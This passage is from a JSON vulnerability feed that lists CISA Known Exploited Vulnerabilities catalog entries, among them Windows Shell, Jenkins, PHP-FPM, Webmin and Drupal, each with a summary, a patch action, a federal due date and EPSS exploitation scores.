instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.61511,"percentile":0.9916,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8373&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8373","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8373 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8373&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8373, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8414","cveId":"CVE-2018-8414","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Shell Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists when the Windows Shell does not properly validate file paths.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.72621,"percentile":0.99438,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-8414&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-8414","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-8414 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-8414&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-8414, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0903","cveId":"CVE-2019-0903","aliases":[],"kind":"vulnerability","title":"Microsoft GDI Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Graphics Device Interface (GDI)","stacks":["Microsoft","Graphics Device Interface (GDI)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.21713,"percentile":0.97616,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0903&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0903","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0903 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0903&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0903, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1003030","cveId":"CVE-2019-1003030","aliases":[],"kind":"vulnerability","title":"Jenkins Matrix Project Plugin Remote Code Execution Vulnerability","summary":"Jenkins Matrix Project plugin contains a vulnerability which can allow users to escape the sandbox, opening opportunity to perform remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Jenkins","product":"Matrix Project Plugin","stacks":["Jenkins","Matrix Project Plugin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97058,"percentile":0.99891,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1003030&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1003030","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1003030 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1003030&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1003030, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-10068","cveId":"CVE-2019-10068","aliases":[],"kind":"vulnerability","title":"Kentico Xperience Deserialization of Untrusted Data Vulnerability","summary":"Kentico contains a failure to validate security headers. This deserialization can led to unauthenticated remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Kentico","product":"Xperience","stacks":["Kentico","Xperience"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95074,"percentile":0.99862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-10068&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-10068","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-10068 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-10068&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-10068, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-11043","cveId":"CVE-2019-11043","aliases":[],"kind":"vulnerability","title":"PHP FastCGI Process Manager (FPM) Buffer Overflow Vulnerability","summary":"In some versions of PHP in certain configurations of FPM setup, it is possible to cause FPM module to write past allocated buffers allowing the possibility of remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"PHP","product":"FastCGI Process Manager (FPM)","stacks":["PHP","FastCGI Process Manager (FPM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99748,"percentile":0.99954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-11043&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-11043","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-11043 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-11043&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-11043, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-12989","cveId":"CVE-2019-12989","aliases":[],"kind":"vulnerability","title":"Citrix SD-WAN and NetScaler SQL Injection Vulnerability","summary":"Citrix SD-WAN and NetScaler SD-WAN allow SQL Injection.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"SD-WAN and NetScaler","stacks":["Citrix NetScaler","Citrix","SD-WAN and NetScaler"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94879,"percentile":0.99859,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-12989&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-12989","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-12989 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-12989&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-12989, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-12991","cveId":"CVE-2019-12991","aliases":[],"kind":"vulnerability","title":"Citrix SD-WAN and NetScaler Command Injection Vulnerability","summary":"Authenticated Command Injection in Citrix SD-WAN Appliance and NetScaler SD-WAN Appliance.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"SD-WAN and NetScaler","stacks":["Citrix NetScaler","Citrix","SD-WAN and NetScaler"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7446,"percentile":0.9949,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-12991&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-12991","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-12991 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-12991&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-12991, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-15107","cveId":"CVE-2019-15107","aliases":[],"kind":"vulnerability","title":"Webmin Command Injection Vulnerability","summary":"An issue was discovered in Webmin. The parameter old in password_change.cgi contains a command injection vulnerability.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Webmin","product":"Webmin","stacks":["Webmin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9971,"percentile":0.99952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-15107&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-15107","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-15107 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-15107&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-15107, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-16920","cveId":"CVE-2019-16920","aliases":[],"kind":"vulnerability","title":"D-Link Multiple Routers Command Injection Vulnerability","summary":"Multiple D-Link routers contain a command injection vulnerability which can allow attackers to achieve full system compromise.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"Multiple Routers","stacks":["D-Link","Multiple Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99996,"percentile":0.99989,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-16920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-16920","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-16920 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-16920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-2616","cveId":"CVE-2019-2616","aliases":[],"kind":"vulnerability","title":"Oracle BI Publisher Unauthorized Access Vulnerability","summary":"Oracle BI Publisher, formerly XML Publisher, contains an unspecified vulnerability that allows for various unauthorized actions. Open-source reporting attributes this vulnerability to allowing for authentication bypass.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"BI Publisher (Formerly XML Publisher)","stacks":["Oracle","BI Publisher (Formerly XML Publisher)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92183,"percentile":0.99821,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-2616&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-2616","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-2616 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-2616&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-2616, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-6340","cveId":"CVE-2019-6340","aliases":[],"kind":"vulnerability","title":"Drupal Core Remote Code Execution Vulnerability","summary":"In Drupal Core, some field types do not properly sanitize data from non-form sources. This can lead to arbitrary PHP code execution in some cases.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Drupal","product":"Core","stacks":["Drupal","Core"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92017,"percentile":0.9982,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-6340&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-6340","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-6340 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-6340&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-6340, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1631","cveId":"CVE-2020-1631","aliases":[],"kind":"vulnerability","title":"Juniper Junos OS Path Traversal Vulnerability","summary":"A path traversal vulnerability in the HTTP/HTTPS service used by J-Web, Web Authentication, Dynamic-VPN (DVPN), Firewall Authentication Pass-Through with Web-Redirect, and Zero Touch Provisioning (ZTP) allows an unauthenticated attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Juniper","product":"Junos OS","stacks":["Juniper Networks","Juniper","Junos OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04865,"percentile":0.91979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1631&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1631","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1631 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1631&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1631, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-1956","cveId":"CVE-2020-1956","aliases":[],"kind":"vulnerability","title":"Apache Kylin OS Command Injection Vulnerability","summary":"Apache Kylin contains an OS command injection vulnerability which could permit an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Kylin","stacks":["Apache","Kylin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97389,"percentile":0.99898,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-1956&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-1956","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-1956 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-1956&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-1956, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-2021","cveId":"CVE-2020-2021","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Authentication Bypass Vulnerability","summary":"Palo Alto Networks PAN-OS contains a vulnerability in SAML which allows an attacker to bypass authentication.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04362,"percentile":0.9118,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-2021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-2021","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-2021 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-2021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-2021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-2506","cveId":"CVE-2020-2506","aliases":[],"kind":"vulnerability","title":"QNAP Systems Helpdesk: QNAP Helpdesk Improper Access Control Vulnerability","summary":"QNAP Helpdesk contains an improper access control vulnerability which could allow an attacker to gain privileges or to read sensitive information.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"QNAP 